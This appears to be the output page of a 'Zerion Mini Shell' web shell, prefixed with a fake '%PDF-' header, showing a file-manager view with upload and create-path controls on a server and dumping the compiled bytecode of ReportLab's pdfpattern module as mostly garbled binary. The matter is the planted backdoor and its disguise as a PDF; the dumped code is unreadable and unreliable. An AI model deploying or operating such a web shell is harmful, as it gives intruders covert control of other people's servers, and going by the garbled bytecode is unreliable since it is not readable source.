%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/reportlab/pdfbase/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/reportlab/pdfbase/__pycache__/pdfpattern.cpython-312.pyc

�

��d���X�dZddlmZmZmZddlmZd�ZGd�de�ZGd�d�Z	y	)
zHhelper for importing pdf structures into a ReportLab generated document
�)�format�	PDFObject�	pdfdocEnc)�strTypesc�0�ttt�rtntf}|ttfz}|D]a}t||�r�t|�dk7rt
dt|�z��t|dt�r�It
dt|d�z��y)N�zTsequence elts must be strings/bytes/PDFPatternIfs or singletons containing strings: rzCSingletons must contain strings/bytes or PDFObject instances only: )�
isinstancer�tupler�PDFPatternIf�len�
ValueError�ascii)�pattern_sequence�allowedTypes�xs   �>/usr/lib/python3/dist-packages/reportlab/pdfbase/pdfpattern.py�_patternSequenceCheckrs���)�(�E�:�8���L��9�\�":�:�L�
�t���!�L�)��1�v�q�y� �!w�x}�~�yA�"A�B�B��a��d�8�,� �!f�gl�mn�op�mq�gr�!r�s�s�t�c�4�eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	y)	�
PDFPatternrc�6�t|�||_||_y)a
        Description of a kind of PDF object using a pattern.

        Pattern sequence should contain strings, singletons of form [string] or
        PDFPatternIf objects.
        Strings are literal strings to be used in the object.
        Singletons are names of keyword arguments to include.
        PDFpatternIf objects allow some conditionality.
        Keyword arguments can be non-instances which are substituted directly in string conversion,
        or they can be object instances in which case they should be pdfdoc.* style
        objects with a x.format(doc) method.
        Keyword arguments may be set on initialization or subsequently using __setitem__, before format.
        "constant object" instances can also be inserted in the patterns.
        N)r�pattern�	arguments)�selfr�keywordargss   r�__init__zPDFPattern.__init__s��	�.�/�'���$��rc�"�||j|<y�N�r)r�item�values   r�__setitem__zPDFPattern.__setitem__%s��$����t�rc� �|j|Srr)rr s  r�__getitem__zPDFPattern.__getitem__(s���~�~�d�#�#rc#�K�|j}|j}|D�]:}t|t�rt	|����"t|t
�r|j
|����Ft|t�r`t|j|j��}|xr|d}|j|r|jn|j�D]}|�����|d}|j|d�}	|	�tdt|�z��t|	t
�rt
|	|�����t|	t�rt	|	�����%t	t!|	������=y�w)Nrz%s value not defined)r�_PDFPattern__documentr	rrrrr�list�eval�cond�thenPart�elsePart�getr
r�str)
r�Lr�documentr�resultr)�z�namer!s
          rr(zPDFPattern.eval+s�����N�N�	��?�?���	0�A��!�H�%���l�"��A�i�(��h�h�x�(�(��A�l�+��d�i�i����/�0���+�&��)������1�:�:�1�:�:�F��A��G����t��!�
�
�d�D�1���=�$�%;�e�D�k�%I�J�J��e�I�.� ��x�0�0���h�/�#�E�*�*�#�C��J�/�/�)	0�s�EEc�x�||_	dj|j|j��|`S#|`wxYw)Nr)r&�joinr(r)rr/s  rrzPDFPattern.formatDs2��"���	 ��8�8�D�I�I�d�l�l�3�4������s�)5�9c��tj|j�}|j|_|j|_|Sr)�object�__new__�	__class__rr)r�cs  r�clonezPDFPattern.cloneKs/���N�N�4�>�>�*���L�L��	��n�n����rN)
�__name__�
__module__�__qualname__�__RefOnly__rr"r$r(rr:�rrrrs%���K�%�&%�$�0�2 �rrc��eZdZdZggfd�Zy)rz�cond will be evaluated as [cond] in PDFpattern eval.
    It should evaluate to a list with value 0/1 etc etc.
    thenPart is a list to be evaluated if the cond evaulates true,
    elsePart is the false sequence.
    c�~�t|t�s|g}|||fD]
}t|��||_||_||_yr)r	r'rr)r*r+)rr)r*r+rs     rrzPDFPatternIf.__init__WsE���$�t�$�d�V�d��x��)�	%�A�!�!�$�	%���	� ��
� ��
rN)r;r<r=�__doc__rr?rrrrQs���
%'��!rrN)
rB�reportlab.pdfbase.pdfdocrrr�reportlab.lib.utilsrrrrr?rr�<module>rEs2��	��A�A�(�t�?��?�B!�!r

Zerion Mini Shell 1.0